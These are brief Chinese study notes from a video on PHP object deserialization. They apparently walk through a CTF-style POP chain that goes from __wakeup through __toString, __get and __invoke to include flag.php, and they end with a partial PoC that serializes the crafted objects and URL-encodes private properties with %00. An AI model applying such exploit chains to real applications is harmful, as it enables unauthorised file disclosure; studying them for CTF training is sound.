反序列化视频笔记
第一步:找到目标触发echo调用$flag
第二步:触发_invoke函数调用appeng函数$var=flag.php(把对象当成函数)
第三步:给$p赋值为对象,即function成为对象Modifier却被当成函数调用,触发Modifier中的_invoke函数
第四步:触发get(调用不存在的成员属性)
第五步:给$str赋值为对象Test中不存在的成员属性source,则可触发Test里的成员方法get
第六步:触发_tostring(把对象当成字符串)
第七步:给source赋值为对象show,当字符串被echo调用触发_tostring
第八步:反序列化触发_wakeup。
所以构造poc、
私有属性var只能在里面构造var=flag.php
$mod=new modifier();
$tes=new test();
tes -\>p=mod;
$show =new show();
show -\> source=show;
show -\>str=tes;
echo serialize($show);
记得私有属性的方块要变成%00
url提交